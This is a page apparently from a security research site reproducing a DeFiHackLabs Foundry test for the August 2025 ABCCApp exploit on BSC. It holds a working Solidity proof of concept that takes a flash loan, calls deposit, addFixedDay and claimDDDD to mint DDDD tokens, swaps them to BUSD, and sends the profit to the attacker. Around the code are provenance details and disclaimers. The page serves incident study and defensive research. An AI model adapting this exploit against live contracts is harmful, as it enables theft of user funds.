Public reproduction file
src/test/2025-08/ABCCApp_exp.sol
Public reproduction file for dataset entry ABCCApp.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ 10,062 BUSD8// Attacker : https://bscscan.com/address/0x53feee33527819bb793b72bd67dbf0f8466f7d2c9// Attack Contract : https://bscscan.com/address/0x90e076ef0fed49a0b63938987f2cad6b4cd97a2410// Vulnerable Contract : https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e511// Attack Tx : https://bscscan.com/tx/0xee4eae6f70a6894c09fda645fb24ab841e9847a788b1b2e8cb9cc50c1866fb1213// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/TenArmorAlert/status/195945721291435253019// Hacking God : N/A21address constant PANCAKE_ROUTER = 0x1b81D678ffb9C0263b24A97847620C99d213eB14;22address constant ERC1967PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;23address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;24address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;25address constant DDDD_TOKEN = 0x422cBee1289AAE4422eDD8fF56F6578701Bb2878;26address constant ABCCAPP_TOKEN = 0x1bC016C00F8d603c41A582d5Da745905B9D034e5;28contract ABCCApp_exp is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 58_615_055 - 1;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = BSC_USD;36 vm.label(PANCAKE_ROUTER, "PancakeSwap: SwapRouter V3");37 vm.label(ERC1967PROXY, "ERC1967Proxy");38 vm.label(WBNB_ADDR, "WBNB");39 vm.label(BSC_USD, "BUSD");40 vm.label(DDDD_TOKEN, "DDDD");41 vm.label(ABCCAPP_TOKEN, "ABCCApp");42 }44 function testExploit() public balanceLog {45 AttackContract attackContract = new AttackContract();46 attackContract.start();47 }49 receive() external payable {}50}52contract AttackContract {53 address attacker;54 uint256 borrowedAmount = 12_500_000_000_000_000_000_000;56 constructor() {57 attacker = msg.sender;58 }60 function start() public {61 IERC1967Proxy(ERC1967PROXY).flashLoan(BSC_USD, borrowedAmount, "");62 uint256 balance = TokenHelper.getTokenBalance(BSC_USD, address(this));63 TokenHelper.transferToken(BSC_USD, attacker, balance);64 }66 function onMoolahFlashLoan(uint256 assets, bytes calldata userData) external {67 TokenHelper.approveToken(BSC_USD, ERC1967PROXY, assets);68 TokenHelper.approveToken(BSC_USD, ABCCAPP_TOKEN, assets);69 IABCCApp(ABCCAPP_TOKEN).deposit(125, address(0));70 IABCCApp(ABCCAPP_TOKEN).addFixedDay(1_000_000_000);71 IABCCApp(ABCCAPP_TOKEN).claimDDDD();73 uint256 balance = TokenHelper.getTokenBalance(DDDD_TOKEN, address(this));74 require(balance > 0, "No DDDD tokens received");75 TokenHelper.approveToken(DDDD_TOKEN, PANCAKE_ROUTER, balance);77 ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({78 path: hex"422cbee1289aae4422edd8ff56f6578701bb28780009c4bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0001f455d398326f99059ff775485246999027b3197955",79 recipient: address(this),80 deadline: block.timestamp + 100,81 amountIn: balance,82 amountOutMinimum: 083 });84 ISwapRouter(PANCAKE_ROUTER).exactInput(params);85 }87 receive() external payable {}88}90interface IERC1967Proxy {91 function flashLoan(address token, uint256 assets, bytes calldata data) external;92}94interface ISwapRouter {95 struct ExactInputParams {96 bytes path;97 address recipient;98 uint256 deadline;99 uint256 amountIn;100 uint256 amountOutMinimum;101 }103 function exactInput(ExactInputParams memory params) external returns (uint256);104}106interface IABCCApp {107 function deposit(uint256 number, address referer) external;108 function addFixedDay(uint256 target) external;109 function claimDDDD() external;110}Analysis
Dataset entry
Public Foundry test for “ABCCApp” (2025-08-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x53feee33527819bb793b72bd67dbf0f8466f7d2c
- Attack Contract
0x90e076ef0fed49a0b63938987f2cad6b4cd97a24
- Vulnerable Contract
0x1bc016c00f8d603c41a582d5da745905b9d034e5
- Attack Tx
0xee4eae6f70a6894c09fda645fb24ab841e9847a788b1b2e8cb9cc50c1866fb12
- Twitter: https://x.com/TenArmorAlert/status/1959457212914352530
- Explorer: https://bscscan.com/address/0x53feee33527819bb793b72bd67dbf0f8466f7d2c
- Explorer: https://bscscan.com/address/0x90e076ef0fed49a0b63938987f2cad6b4cd97a24
- Explorer: https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5
- Explorer: https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5#code
File record
- Name
- ABCCApp
- Path
- src/test/2025-08/ABCCApp_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5afc08d3fa484bdf62ad1fd850c8bd33a52b81d8
- Language
- Solidity
- Size
- 111 lines
- Date
- 2025-08-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/ABCCApp_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5afc08d3fa484bdf62ad1fd850c8bd33a52b81d8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.